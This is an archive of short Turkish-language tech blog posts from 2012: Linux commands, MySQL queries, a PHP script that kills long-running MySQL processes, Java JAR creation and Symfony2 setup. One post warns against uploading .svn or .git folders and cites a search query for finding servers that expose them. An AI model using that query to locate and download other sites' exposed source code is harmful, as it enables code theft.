19 Aralık 2012 Çarşamba

Kullandığım Linux 32-bit mi 64-bit mi?

Terminali açtıktan sonra, uname -m komutunu yazmanız, sorumuzun cevabını size verecektir. Eğer ekranda gördüğünüz değer i686 ise, kullandığınız Linux 32-bit, ekranda gördüğünüz değer x86_64 ise kullandığınız Linux 64-bittir. Burada i686 ve x86_64 farklı parametreler alabilmektedir. Daha sonraki yazılarımda bu konuyu detaylı olarak ele alacağım. Devamı için : Kullandığım Linux 32-bit mi 64-bit mi?

13 Aralık 2012 Perşembe

/bin/sh g++ not found hatası (linux - Code::Blocks IDE)

Code::Blocks IDE üzerinde C/C++ çalışması yapmaya çalışırken aldığım bir hataydı bu. Şu iki koddan birini terminalde çalıştırdığınızda sorun çözülecektir; 1)
    sudo aptitude install build- essential    
2)
    sudo apt-get install g++    
İyi çalışmalar. Devamı için : /bin/sh g++ not found hatası (linux - Code::Blocks IDE)

12 Aralık 2012 Çarşamba

Password Gorilla

password gorilla Password Gorilla giriş bilgilerinizi yönetmenizi sağlar. Tüm kullanıcı adı ve şifrelerinizi , çeşitli not ve diğer bilgilerinizle birlikte şifreli ve güvenli bir şekilde saklamanızı sağlar. Bu tüm şifreleriniz için ise tek bir ana şifre hatırlamanız yeterli olacak. Diğerlerini artık aklınızda tutmak yerine bırakın password gorilla tutsun. Proje https://github.com/zdia/gorilla/wiki sayfasından erişilip, https://github.com/zdia/gorilla/downloads sayfasından indirilebilir. Devamı için : Password Gorilla

10 Aralık 2012 Pazartesi

Port Nedir

Bir öğrencime port nedir konulu bir araştırma vermiştim, araştırması beni memnun etti, sizlerle de paylaşmak istedim. Port anlam olarak 2 farklı olayda kullanılıyor. İlki fiziksel bağlantılarda kullanılan ara birimler. Bu portlar üzerinden data gönderiliyor makinaya veya makina kontrol edilebilir. Seri ve paralel port diye 2 kavram var bu noktada ama olay biraz donanıma kaçıyor. Beni ilgilendiren kısımda ise;
Bilgisayarımda aynı anda birkaç program açık olsun ve bu porgramlar client isteklerini kabul edip cevaplayan programlar olsun.Şimdi sunucu tarafından bana atanan bir IP adresi var zaten. Ben programları çalıştırdığım için sunucudan birden fazla istekte bulundum. Peki bu istekler nasıl karışmıyor, yada cevaplanınca hangi veri paketleri hangi programa ait? İşte bu olaylar olurken kullanılan Ip adresinin yanında bir de port numarası dediğimiz bir şey var. Yani IP adresim beni diğer clientlerden ayırıyor(sunucu açısından), port numaramda bana gelen bilgiyi programlara doğru şekilde dağıtmaya yarıyor. Her program ayrı port adresleri kullanıyor iletişim için bu sunucu proramları için de böyle. Port numaraları 0 ile 65535 arasında değişyor. Bazı portlar belirli programlar için rezerve edilmiştir. ayrıca işletim sistemine ve yetkiye bağlı olarak bazı port aralıkları kısıtlanmış haldedir.
INETD (Süper Sunucu): Değişik portları dinleyen bir sunucu programı, hiç bir isteğe cevap vermiyo olsa bile, bir çok sistem kaynağını gereksiz yere kullanıyor. Bu olayı gidemek için düşünülmüş inetd. Bu program aynı anda bütün portları dinliyor ve clientle sunucu programlar arasında koordinasyon sağlıyo. herhangi birisine istek geldiği zaman izlediği yol da şöyle:
*etc/services dosyasından "port"a karşılık programın adını buluyor.
*etc/inetd.conf dosyasından da gerekli cevabı bulur ve uygun programı çalıştırır.
 ve her istekte bu 2 maddeyi uygular.
BUFFERED PORT: Bir program herhangi bir portu dinliyor ve bir iş yapıyor olsun. Yani o porta gelen  bilgileri almaya hazır değilken, port "buffered" durumunda ise gelen bilgiler kaybolmuyor ve işletim sisteminde ki programlar sayesinde beklemeye alınıyor.
Devamı için : Port Nedir

7 Aralık 2012 Cuma

firefox için facebook messenger

Firefox'un 17. sürümü ile birlikte, Facebook Messenger, tarayıcınızdaki sekmelerde Facebook açık olmasa bile kullanılabilir halde oluyor. Kullanabilmek için, buradaki adrese(https://www.facebook.com/about/messenger-for-firefox) gidip, öncelikle kullandığınız Firefox güncel değilse güncelleyiniz, ardından da butonuna tıklayarak bunu browserınıza ekleyiniz. Ben denedim, Facebook'u son zamanlarda sadece Messenger kısmı için kullandığımdan dolayı oldukça kullanışlı geldi :)     Devamı için : firefox için facebook messenger

6 Aralık 2012 Perşembe

ubuntu linux'ta kullanilabilir hafizayi goruntuleme

Aşağıdaki komutu, terminalde çalıştırdığınızda, bilgisayarınızdaki hafıza ile ilgili bilgileri görüntüleyebilirsiniz;
  khantunckale@ubuntu:~$  cat /proc/meminfo  
Şu şekilde bir sonuç alacaksınız;
  MemTotal:        3954800 kB  MemFree:          156684 kB  Buffers:          485796 kB  Cached:           886536 kB  SwapCached:        18008 kB  Active:          2190888 kB  Inactive:        1360296 kB  Active(anon):    1615564 kB  Inactive(anon):   732660 kB  Active(file):     575324 kB  Inactive(file):   627636 kB  Unevictable:       34088 kB  Mlocked:           31396 kB  SwapTotal:        262136 kB  SwapFree:         231068 kB  Dirty:               212 kB  Writeback:             0 kB  AnonPages:       2195176 kB  Mapped:           148332 kB  Shmem:            160852 kB  Slab:              97052 kB  SReclaimable:      67508 kB  SUnreclaim:        29544 kB  KernelStack:        4224 kB  PageTables:        42932 kB  NFS_Unstable:          0 kB  Bounce:                0 kB  WritebackTmp:          0 kB  CommitLimit:     2239536 kB  Committed_AS:    5800120 kB  VmallocTotal:   34359738367 kB  VmallocUsed:      359120 kB  VmallocChunk:   34359372476 kB  HardwareCorrupted:     0 kB  AnonHugePages:         0 kB  HugePages_Total:       0  HugePages_Free:        0  HugePages_Rsvd:        0  HugePages_Surp:        0  Hugepagesize:       2048 kB  DirectMap4k:      104092 kB  DirectMap2M:     2953216 kB    
Devamı için : ubuntu linux'ta kullanilabilir hafizayi goruntuleme

Konsoldan mysql versionunu ogrenmek

İşletim sisteminizin konsolunda
echo "SELECT VERSION()" | mysql -u root -p{sifre}
yazdığınızda ekranınızda kullandığınız mysql versiyonu gözükecektir. Devamı için : Konsoldan mysql versionunu ogrenmek

3 Aralık 2012 Pazartesi

uzun süre calisan mysql processleri oldurmek

Sunucunuzda bazı durumlarda, mysql veritabanınızda işlemler yığılmaya başlıyor olabilir. Bu durum için bir arkadaşımın yazmış olduğu basit bir php scripti mevcut. Dilerseniz işinizi kolaylaştırabilir. Script, verdiğiniz süreden daha büyük süre değerine sahip mysql processleri yakalayıp, bunları KILL ediyor (öldürüyor). * kullanıcı adı kısmına root, root şifresi yazan kısma da root şifrenizi yazarak çalıştırabilirsiniz.  
  <?  var_dump(mysql_connect("localhost", "{kullanici_adi}", "{root_sifresi}"));  $result = mysql_query("SHOW FULL PROCESSLIST");  $i=0;  while ($row=mysql_fetch_array($result)) {    $process_id=$row["Id"];    if ($row["Time"] > 5000 ) {      $sql="KILL $process_id";      $i++;      mysql_query($sql);    }  }  echo $i." adet islem sonlandirilmistir";  ?>  
Devamı için : uzun süre calisan mysql processleri oldurmek

1 Aralık 2012 Cumartesi

mysql acik baglantilari ve processleri goruntuleme

mysql'e konsoldan bağlandıktan sonra show status like 'Conn%' komutunu çalıştırdığımızda açık olan bağlantıyı görüntüleyebiliriz.
  mysql> show status like 'Conn%';  +-----------------------+---------+  | Variable_name | Value |  +-----------------------+---------+  | Connections     |  78     |  +-----------------------+---------+  1 row in set (0.00 sec)  
Aynı şekilde eğer show status like '%onn%' komutunu çalıştırdığımızda da bu sefer connection ile ilgili diğer alanların da sonuçları gelir karşımıza.
  mysql> show status like '%onn%';  +-------------------------------------+----------+  | Variable_name                | Value |  +-------------------------------------+----------+  | Aborted_connects          |     1     |  | Connections                   |    78    |  | Max_used_connections   |     1    |  | Ssl_client_connects        |    0      |  | Ssl_connect_renegotiates |   0     |  | Ssl_finished_connects    |     0     |  | Threads_connected        |     1     |  +-------------------------------------+----------+  7 rows in set (0.00 sec)    
Bunlara ek olarak bir de process list görüntüleyebiliriz, onu da şu komutla gerçeklememiz mümkün; show processlist
  mysql> show processlist;  +----+------+--------------+-------+---------------+--------+--------+-------------------------+  | Id | User | Host      | db   | Command | Time | State  | Info                   |  +----+------+---------------+---------+------------+------+-----------+-------------------------+  | 77 | root | localhost | NULL | Query   |    0 | NULL  | show processlist |  +----+------+---------------+---------+-------------+------+----------+-------------------------+  1 row in set (0.02 sec)    
Mysql ile işlem yaparken bu son komutu çalıştırdığınızda, daha farklı sonuçlar alabileceğinizi deneyerek görebilirsiniz. Devamı için : mysql acik baglantilari ve processleri goruntuleme

28 Kasım 2012 Çarşamba

Üniversitelerde Microsofta HAYIR

Merhabalar; Ön not : Uzun zamandır yapmam gerekeni ancak yaptığımı farkediyorum. Üniversitelerimizde hem gereksiz lisans ücreti, hem gereksiz tekelcilik hem de bilgi güvenliği ve virüs konularından dolayı Microsoft'a hayır kampanyası başlatıyoruz. Amacımız eğitimi daha ucuz hale getirmek, ve en önemlisi oluşturulan tekelciliği kırmaktır. Eğitimde bilinç seviyesini yukarı çekerek, bilinçsizce öğretilen Microsoft C#, Sql Server gibi gereçleri "ZORUNLU" olarak öğretilmesini istemiyoruz! Öğrenci ne öğreniyorsa, ileride de onu kullanmak isteyeceğinden dolayı, bu işi daha bağımsız hale getirmeliyiz. Linux dağıtımlarını hayatı boyunca kullanmamış kişiler Microsoft'un daha iyi olduğunu iddia edebiliyor. Burada belirli bir çıkar ilişkisi olup olmadığı geliyor akıllara. Bu kampanyamıza bir imza ile lütfen siz de katkıda bulunun, Türkiye'ye katkıda bulunun. Bizlere destek olun. İmza verin. Devamı için : Üniversitelerde Microsofta HAYIR

27 Kasım 2012 Salı

Chrome ve lanet olası onbellegi

Chrome tarayıcısı kullanan bir geliştirici iseniz, işiniz gerçekten zor. Burada, herşeyi önbellekleyerek, daha hızlı getirmeye çalışan bir aletten bahsediyoruz. Başlığı da gördüğünüz gibi, sinirliyim. Tüm ekip arkadaşlarım da sinirli bu konuda. Diyelim ki sitenizin ön yüzünde çağırdığınız bir image dosyasını aynı isimle değiştirdiniz. Veya css dosyanızda yazmış olduğunuz bir css kuralını düzenlediniz. Uyguladıklarınız : Sayfayı yeniden yükleme : Normalde developement ortamında expire cache kullanmıyorsunzdur. Bu noktada f5 yapınca içeriğin değişip değişmediğine göre yeniden yüklenmesi gerekir. Chrome bunu yapmıyor. Sayfayı CTRL + F5 (Pragma : no-cache) ile çağırmanız : Bu işlem ile server'a "dosya bende değişmese de illa yenisini gönder" demiş oluyoruz. Ancak gelin görün ki Chrome bunu da yemiyor. Çözüm: CTRL + Shift + Delete e basıp, tüm önbelleği temizlerseniz(bir süredir temizlemiyorsanız bu işlem yaklaşık 1 dk sürüyor benim) çözüme ulaşabiliyorsunuz.   Ek olarak : Eğer geliştiriciyseniz, Chrome'da F12 ye basınca açılan geliştirici gereçlerindeki ayarlar kısmında (sağ alttaki dişli işaretine tıklayınca açılır) bu kısımdan çeşitli önbellekleme ayarlarını devre dışı bırakabilirsiniz. Ancak bu da sizi kesmeyecektir. Emin olun. Devamı için : Chrome ve lanet olası onbellegi

Php ignore_user_abort fonksiyonu

Çook uzun süren bir php fonksiyonu çalıştıran bir URL'niz var. Ancak istemci (tarayıcı-browser) kapansa bile bu işlemin devam etmesini istiyorsunuz. Örneğin 1 milyon datanın patchlenmesi işlemi (kim bunu URL'den tetikler ki?) Bir şekilde böyle bir ihtiyacınız var diyelim. Bu durumda, ne yapmalısınız? Öyleyse sizin
ignore_user_abort(true);
komutuna ihtiyacınız var. Bu komut ile birlikte
set_time_limit(0); 
verirseniz de kodunuz; çalıştıran istemci veya süre kısıtlaması olmadan sonsuza dek çalışacaktır. http://php.net/manual/tr/function.ignore-user-abort.php adresinden de okumaya devam edebilirsiniz. Devamı için : Php ignore_user_abort fonksiyonu

26 Kasım 2012 Pazartesi

Zend guard license is not valid hatasi

Zend Guard kullanıyorsanız, mevcut lisansınız bittiğinde, zend.com dan lisans uzatma işlemi yapsanız dahi, lisans dosyasını yüklerken  "license is not valid" hatası alıyorsanız, lütfen zend guard (benimki zend guard 5.5.0) programınızı yonetici olarak çalıştırın. Bu noktada lisanslama işleminde administrative yetkiye ihtiyacınız olduğundan hata veriyordur. 3 gündür zend.com dan destek beklediğim konu, bu kadar basit bir olaymış :) Umarım işinize yarar. Devamı için : Zend guard license is not valid hatasi

23 Kasım 2012 Cuma

Linuxta Wget ile Ftp den klasor cekmek

Linux bir sistem kullanıyorsanız, FTP den bazı şeyleri düzenli olarak çekmeniz gerekiyorsa, aşağıdaki şekilde linux komut satırından bir ftp klasörünü topluca çekebilirsiniz. Aşağıdaki komutta 1.2.3.4 ipsinden ftp hesabındaki tüm klasörleri çekmesin söylüyoruz. (-r komutu recursive , yani klasörü içindekilerle birlikte çeker) Not : {username} ve {password} yerine size tahsis edilen bilgileri girmelisiniz.  
  wget -r ftp://1.2.3.4/ --user {username} --password {password}  
Devamı için : Linuxta Wget ile Ftp den klasor cekmek

20 Kasım 2012 Salı

Deloitte Teknoloji Fast 50 Turkiye 2012 Sonuclari

Deloitte Teknoloji Fast 50 Türkiye 2012 Programı kapsamında son 5 yıllık büyüme performansları ışığında seçilen teknoloji şirketleri, Sabancı Müzesi'nde The Seed Etkinlik Merkezi'nde düzenlenen törenle ödüllerine ulaştı. Bu sonuçlara göre Yazılım Departmanı Yöneticisi olduğum IdeaSoft 4. olarak bizlere emeğimizin karşılığında haklı bir gurur yaşattı. Okumaya devam linki : http://www.btnet.com.tr/60894-teknolojide-en-iyiler.html   Devamı için : Deloitte Teknoloji Fast 50 Turkiye 2012 Sonuclari

Maili Post ile gondermek - Cloudmailin

Cloudmailin logo Ara sıra mail ile haberleşme konularında, çeşitli tetik (trigger) metodları yaratmak istediğimizde, biri bir yere mail atacağına keşke HTTP POST isteği yapsa dediğinizi duyar gibiyim.  Bu noktada tam "böyle bir hizmeti nasıl yaparım?" ı araştırmaya başlayacakken, ilk araştırmamda bu siteyi buldum. Cloudmailin.com işte tam burada devreye giriyor, ve mail olarak attığınız datayı size HTTP POST isteği ile , hem de 4 farklı seçenekte (Original,JSON,Multipart,Raw format) sunuyor. Yapmanız gereken üye olmak ve mailin HTTP POST isteği olarak gönderilmesini istediğiniz URL adresini belirlemek. Mail adresini sistem zaten otomatik olarak belirleyecek ve size verecek. Ancak tamamen ücretsiz değil, sadece deneme amaçlı aylık küçük bir sayıda maili ücretsiz olarak yolluyor. Bir mail adresinize gelen mailleri otomatik olarak burada oluşturduğunuz maile yönlendirirseniz mantıken, tüm mailleriniz size HTTP yoluyla iletilmiş olacak ki, bu noktada yapacaklarınız sizin yaratılığınıza kalmış oluyor. Teknik destek hizmeti veren firmaların ilgisini çekebileceğini düşünüyorum.   Devamı için : Maili Post ile gondermek - Cloudmailin

17 Kasım 2012 Cumartesi

network - LLDP (Link Layer Discovery Protocol) nedir?

Networklerde cihazların ilişkilerini bulabilmek için cihazların barındırdığı network discovery protokolleri kullanırız. LLDP (Link Layer Discovery Protocol), ethernet networklerinde bridge'lerin, wireless access point'lerin vs. yayın yaptıkları ve yayınlarını aldıkları ilişkili cihazlar hakkında bilgi sahibi oldukları bir metoddur. Cihazlar arasındaki bilgiyi gösterir. Yani bir veri-bağlantı katmanı protokolüdür. LLDP, MAC (Media Access Control) katmanının üzerinde çalışır. Bu yüzden bir MAC servisini çalıştıran herhangi bir ağ cihazı üzerinde kullanılabilir. LLDP mesajları kesin bilgileri garantilemek için pediyodik aralıklarla gönderilir. Bu zaman aralığı kullanıcının belirlerdiği TTL (Time To Live) değeridir. TTL default olarak 120 saniye olarak tanımlanmıştır. Cihazların kullanım durumlarına göre kullanıcı tarafından değiştirilebilir. Devamı için : network - LLDP (Link Layer Discovery Protocol) nedir?

13 Kasım 2012 Salı

Mysql baska tabloda kaydi olmayan kayitlari silmek

Veritabanınızdan zaman zaman aktif olmayan kişileri, hiç bir işe yaramayan verileri silmek istiyor olabilirsiniz. Bu noktada konuyu bir örnek ile açıklayacağım ; Diyelim ki bir üyeler, bir de yorumlar tablomuz olsun. Yorumu olmayan üyeleri silmek isteyen bir query yazmak istiyoruz diyelim. Bu durumda aşağıdaki query ile bu işi yapabiliyoruz. Subquery ile yorumları çekip bunları NOT EXIST ile denetliyoruz. Sonuç tam da istediğimiz gibi.
  SELECT u.uye_id FROM `uyeler` u WHERE NOT EXISTS (SELECT yorum_id FROM yorumlar y WHERE y.uye_id = u.uye_id)  
Çok fazla detaya girmeden anlattım, anlamayan olursa tabi ki detaylıca yardım edebilirim. Umarım işinize yarayacaktır. Devamı için : Mysql baska tabloda kaydi olmayan kayitlari silmek

12 Kasım 2012 Pazartesi

PayPal Maestro Card destegi

Paypal'ın bugün bir bilgilendirme maili ile duyurduğu konuyu sizlere aktarmak istiyorum,
Şimdi PayPal ile online alışveriş yaparken daha fazla ödeme seçeneğiniz var. PayPal hesabınıza Maestro banka kartınızı ekleyin ve harcamalarınızı banka hesabınızdan dilediğinizce yapma özgürlügünü yaşayın. PayPal'da Maestro kartınız ile ister dizüstü bilgisayarınızdan, ister akıllı telefonunuzdan, ister tabletinizden kolay ve güvenli alışverişin keyfini çıkarın.
Maestro card'ın normal kartlardan çeşitli farklılıkları var. Uzun bir süredir, maestro card desteği beklenen paypal, bu problemi de gidermiş oldu. Devamı için : PayPal Maestro Card destegi

10 Kasım 2012 Cumartesi

Java JAR Dosyasi Yaratma - Bolum 2

Daha önceki yazımda, JAR dosyasının komut satırından nasıl yaratılacağından bahsetmiştim. Bu yazıda da Java için geliştirme yapılan Eclipse ve Netbeans IDE'lerinde nasıl JAR dosyası yaratılacağını göstereceğim.

Eclipse

  1. Package Explorer ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Export seçeneğine tıklıyoruz.
  2. Açılan ekranda Java altında JAR File seçeneğini seçerek Next diyoruz.
  3. Açılan ekranda, istenilen proje ve paketleri seçiyoruz. Alttaki seçeneklerde, oluşturulan class dosyalarını ve kaynakları eklemek için "Export generated class files and resources" seçeneğini, kaynak dosyaları eklemek için "Export java source files and resources" seçeneğini seçiyoruz. JAR File bölümünde jar dosyasını oluşturmak istediğimiz yeri seçiyoruz. Seçenekler kısmında, eğer jar dosyasını sıkıştırmak istiyorsak "Compress the contents of jar file" seçeneğini, dizinlendirmelerin olduğu gibi eklenmesini istiyorsak "Add directory entries" seçeneğini, herhangi bir uyarı vermeden eski jar dosyası üzerine yazmak istiyorsak "Overwrite existing files without warning" seçeneğini seçiyoruz ve Next diyoruz.
  4. Açılan ekranda, Next diyoruz.
  5. Açılan ekranda, eğer manifest dosyasının otomatik yaratılmasını istiyorsak, "Generate manifest file" seçeneğini, kendi oluşturduğumuz manifest dosyasını eklemek istiyorsak, "Use existing manifest from workspace" seçeneğini seçerek manifest dosyasının yerini seçiyoruz. Eğer, projemiz bir kütüphane değil de çalıştırılabilir bir uygulama olacak ise "Main class" seçeneğinden uygulamanın hangi sınıfdan başlayacağını seçiyoruz (sınıfın main metoduna sahip olması gerekiyor).
Not: İşlemler Eclipse 4.2 Juno versiyonunda gerçekleştirilmiştir.

Netbeans

Netbeans'te işlemler biraz daha kolay ama seçenekler de Eclipse'e göre daha az.
  1. Projects ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Properties seçeneğine tıklıyoruz.
  2. Açılan ekranda Build > Packaging'e tıklıyoruz. Sağ tarafta "JAR File" kısmında dosyanın oluşacağı klasör belirtiliyor (proje klasörünün altında). "Exclude From JAR File" kısmında jar dosyasına eklemek istemediğimiz dosyaları yazıyoruz. Örnekte, tüm java ve form uzantılı dosyalara eklenmeyecek şekilde seçim yapılmış. Eğer, jar dosyasını sıkıştırmak istiyorsak, "Compress JAR file" seçeneğini, eğer proje derlendikten sonra jar dosyasının otomatik olarak oluşmasını istiyorsak (bu örnekte bu şekilde oluşturacağız), "Build JAR after Compiling" seçeneğini, eğer kullandığımız kütüphaneleri de jar dosyasına eklemek istiyorsak, "Copy dependent libraries" seçeneğini seçerek OK'ye tıklıyoruz.
  3. Projects ekranında jar dosyasını oluşturmak istediğimiz projeye sağ tıklıyoruz. Açılan menüden Clean and Build seçeneğine tıklıyoruz. Bu işlemden sonra jar dosyası "proje yolu/dist/" klasörü altında oluşmuş oluyor.
Not: İşlemler Netbeans 7.0.2 versiyonunda gerçekleştirilmiştir. Herkese iyi çalışmalar.   Devamı için : Java JAR Dosyasi Yaratma - Bolum 2

7 Kasım 2012 Çarşamba

Mysql Tekrar Eden Verilerin Hepsini Listelemek

Tekrar eden (duplicate) verileri bulmak için bu yazımızı okuyabilirsiniz. Ancak bu verilerin hepsini bir şekilde düzenlemeniz gerekirse, sizden bunların listesi istenecektir. Aşağıdaki Query ile, list tablosundaki aynı email kaydına sahip (aynı email'in en az 2 kişide olması durumu) customer_id leri ve emailleri , emaile göre sıralayarak listeyelen bir sorgu bulunmaktadır.
SELECT list.email, list.customer_id  FROM list  INNER JOIN (    SELECT email    FROM list    GROUP BY email    HAVING COUNT( customer_id ) >1  ) duplicate ON list.email = duplicate.email  ORDER BY list.email ASC
  
Umarım işinize yarar.
Devamı için : Mysql Tekrar Eden Verilerin Hepsini Listelemek

bson - binary json nedir?

Bson, yani Binary JSON, JSON'ların binary şekilde encode edilmiş halidir. Bson, tıpkı json gibi, içinde array ve döküman barındırırlar. Temelde 4 tipten oluşurlar, bunlar;
byte 1 byte (8-bits)
int32 4 bytes (32-bit signed integer)
int64 8 bytes (64-bit signed integer)
double 8 bytes (64-bit IEEE 754 floating point)
Çok küçük bir örnek vermek gerekirse;
  {"hello": "world"}	→	"\x16\x00\x00\x00\x02hello\x00\x06\x00\x00\x00world\x00\x00"  
Bu adresten, başka örneklere ve içerisinde saklanan söz dizimlerine ulaşabilirsiniz. Önemli olan bir nokta, MongoDB, ağ ve disk yönetiminde BSON kullanmaktadır. Çoğu dil için, MongoDB'nin driverı mevcuttur (C, C++, Java, Perl, PHP, Python, Perl, Ruby vs.) Onların listesine de buradan ulaşabilirsiniz. İyi çalışmalar. Devamı için : bson - binary json nedir?

6 Kasım 2012 Salı

Corona Debugger Kullanımı

Corona, Android ve IOS ortamları için uygulama (daha ziyade oyun) yazmaya yarayan bir yazılım geliştirme kitidir (Software Development Kit - SDK). Yazının konusu ise Corona'nın debug tool'unun nasıl kullanılacağı. Genelde SDK'lar için kullandığımız IDE'lerde, debugger gömülü olarak bulunur. Corona'nın kendi IDE'si olmadığı ve indirdiğimiz SDK paketi ile beraber gelen 3rd party IDE de ücretli olduğu için, Corona ile yazılım yaparken Geany text editörünü kullanıyorum(herhangi biri kullanılabilir ancak LUA programlama dilini tanıyan bir text editör tercih edilse daha iyi). Tabi firmaya ait IDE kullanmamanın en büyük sıkıntılarından biri de debug işlemini yapamamaktır. Ancak Corona'nın benim de bir süre sonradan keşfettiğim command prompt ile çalışan bir debugger'ı mevcut. Yazıda debugger komutları ile ilgili birkaç örnek vereceğim. Corona Debugger'ı çalıştırmak için Corona SDK klasörünüzü açıp, Corona Debugger dosyasını açıyoruz. Bir simülasyon penceresi, debugger'ın çalıştığı bir dos penceresi ve bir de simülatör çıktılarını görebileceğiniz Corona Simülatör penceresi açılır. Simülasyon penceresini açıp File - Open Project'ten projenizin main dosyasını çalıştırdıktan sonra debugger penceresine döneceğiz. Debugger'ın komutlarını görmek için komut satırına help yazıp enter'a basıyoruz. Burada zaten komutların ne işe yaradığını kısaca söylüyor. Biz birkaç örnek verip yazıyı bitirelim. setb komutu: İstenen dosyanın istenen satırına breakpoint koymaya yarar. "setb" ya da yalnızca "b" olarak kullanılabilir. "setb dosyaadi satir" şeklinde yazılır. Örnek komut: setb screen2.lua 275 Bu komut ile screen2.lua dosyasında 275. satıra bir breakpoint koyuyoruz. run: Bu komut ile programı işletmeye başlatıyoruz. Mesela yukarıdaki breakpoint'i koyduktan sonra programın bu noktaya gelene kadar işlemesi için kullanabilir. Program koyduğumuz breakpoint'e geldiğinde durur. dump: İstenen değişkenin o andaki durumunu görmeye yarar. "dump degisken" şeklinde kullanılır. Örnek komut: dump randomPlace Bu komut ile bulunulan noktada bu değişkenin değerinin ne olduğunu görebiliyoruz. delb: Koyduğumuz breakpointi bu komut ile kaldırıyoruz. Hangi breakpoint olduğunu belirtmek için setb'de yazdığımız gibi dosya adı ve satırını yazıyoruz. Örnek komut: delb screen2.lua 275 delallb: Koyduğumuz tüm breakpoint'leri tek komut ile bu komutu kullanarak kaldırıyoruz. setw, delw, delallw: Watch ifadesi ekliyoruz, siliyoruz, hepsini siliyoruz. step: İşlenen komutlarda bir satır ilerlemenizi sağlar. Sadece si yazmanız da yeterli. over: İşlenen komutlarda yine bir satır ilerlemenizi sağlar ancak işleyeceğiniz satır bir fonksiyon ise fonksiyona dallanmaz, işleyip döner ve bir satır devam eder. over yerine so yazmanız da yeterli. exit: Debugger'dan çıkmanızı sağlar. Yukarıda bahsettiğim komutlar haricindeki komutları önceden de söylediğim gibi help yazarak birer satırlık açıklamalar haricinde görebilirsiniz. Kolay gelsin. Devamı için : Corona Debugger Kullanımı

MySQL Tekrar Eden Verileri Bulmak

Merhaba, Binlerce satır verinizin bulunduğu bir tabloda birbiri ile aynı olan satırları bulmanız gerekebilir. Bunun için aşağıya yazacağım SQL cümleciğini kendinize göre düzenleyerek çalıştırabilirsiniz. SELECT column FROM table GROUP BY reference_column HAVING COUNT( * ) >1 column : buraya görüntülemek istediğiniz sutunları yazabilirsiniz veya tümü için * yazabilirsiniz. table : işlem yapmak istediğiniz tabloyu yazınız reference_column : aynı dataların olup olmadığının kontrol edileceği sutun.   Umarım işinize yarar.     Devamı için : MySQL Tekrar Eden Verileri Bulmak

3 Kasım 2012 Cumartesi

FTP den yanlislikla .svn veya .git klasorunu da yuklemek

Versiyon kontrol sistemi kullanmanın avantajlarından şu yazımızda bahsetmiştik. Ancak bunu bilinçsiz kullanmanın epey zararı olabiliyor. Şurada okuduğumuz yazı da belirtiyor ki, FTP den dosya yüklerken , .svn klasörlerini ve içeriklerini de yanlışlıkla yükleme ihtimalimize karşı, (veya .git klasörünü) projemizin kaynak kodlarının tamamının çalınma riski oluşuyor. Hatta risk değil bu, direkt buyrun alın diyorsunuz. Bu klasörlerin içinde versiyon kontrol sistemi dahilinde olan kaynak kodların tamamı ve her versiyonu bulunuyor. SVN 'de FTP den atacaksanız export işlemi yapıp, projeyi SVN dosyalarından arındırmanız gerekiyor. Google'da şu aramayı yaparsanız eğer, zaten dediğimi anlayacaksınız : ".svn" intitle:"Index of"  Bu yüzden, projelerinizde versiyon kontrol sistemlerini kullanıyorsanız (kullanın tabi ki..) , bu duruma özellikle dikkat ediniz. Sonradan başınız yanmasın. Devamı için : FTP den yanlislikla .svn veya .git klasorunu da yuklemek

31 Ekim 2012 Çarşamba

Ubuntu Gnome Extension

Merhaba, Ubuntu işletim sistemine sahipseniz ve Gnome arayüzünü kullanıyorsanız çalışma ortamınızı özelleştirebileceğiniz bir sürü yöntem ve eklenti bulunuyor. Standart yapının dışında kendinize özel ve rahat edebileceğiniz şekilde eklentilere sahip olabilirsiniz. Örnek vermek gerekirse, - Alt+Tab ile pencereler arasında gezmek için efekt - Masaüstü butonları - Workspaces butonları - Dizin butonları - Tarih ve saat görselleri - Müzik severler için media pencereleri ve sayamayacağımız niceleri. Bunları sisteminize kurmak için yapmanız gerekenleri aşağıya yazıyorum. Eklentileri inceleyebilir ve kolayca kurabilirsiniz.
  1. https://extensions.gnome.org/ adresine giriyoruz.
  2. Sayfamızın üst kısmında çıkan yönergeye izin veriyoruz ve erişim izni tanımlamış oluyoruz.
  3. İstediğimiz eklentinin detay sayfasına girerek "Off" konumda olan butonu "On" konumuna alıyoruz.
  4. On konumuna aldıktan sonra açılan onay penceresine "Install" diyoruz ve eklentimiz hemen geliyor.
Yapmanız gerekenler bu kadar basit :) İşe yarar şeyler var. Göz atmanızı tavsiye ederim.   Devamı için : Ubuntu Gnome Extension

30 Ekim 2012 Salı

Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS

Hazırladığım bir projede Symfony2 formlarını özelleştirerek Bootstrap CSS ile entegre etmek istedim. Bunu başarmak için tabii ki Symfony2'de bir formül var: Form Themes. Symfony2 ile oluşturulan formlardaki tüm elemanların formatlarının tutulduğu bir dosya bulunuyor. Bu formatlarda istediğimiz gibi değişiklik yaparak, örneğin <div> tag'leri ekleyerek ve ya sınıflar atayarak Bootstrap ile uyumlu hale getirebiliyoruz. Bu yazıda Bootstrap CSS'in detayından bahsetmeyeceğim, fakat genel olarak ön yüz tasarımcılarının işini kolaylaştıran, daha da önemlisi yazılım geliştiricileri tasarım yapmaktan kurtaran bir CSS framework'u olduğunu söyleyebiliriz. Twitter tarafından tasarlanan bu framework, kullanım kolaylığı, tarayıcılarla uyumu ve estetik güzellik gibi çok iyi özelliklere sahip.

Boostrap Kurulumu

Öncelikle Bootstrap CSS indirip uygulamamıza dahil edelim. Şu adresten Bootstrap için gerekli dosyaları indirdikten sonra web klasörü altına açıyoruz. Daha sonra kullandığımız layout içerisinde bootstrap için gerekli dosyaları dahil ediyoruz.
# app/Resources/views/base.html.twig
<head><link href="{{ asset('css/bootstrap.min.css') }}" rel="stylesheet"></head>
<body>
<script type="text/javascript" src="{{ asset('js/bootstrap.min.js') }}"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script></body>
Bootstrap ile birlikte kullanabileceğiniz bazı javascript eklentileri de bulunuyor, bunlar jQuery gerektirdiğinden bu kütüphaneyi de dahil ediyoruz.

Symfony2 Formlarını Özelleştirmek

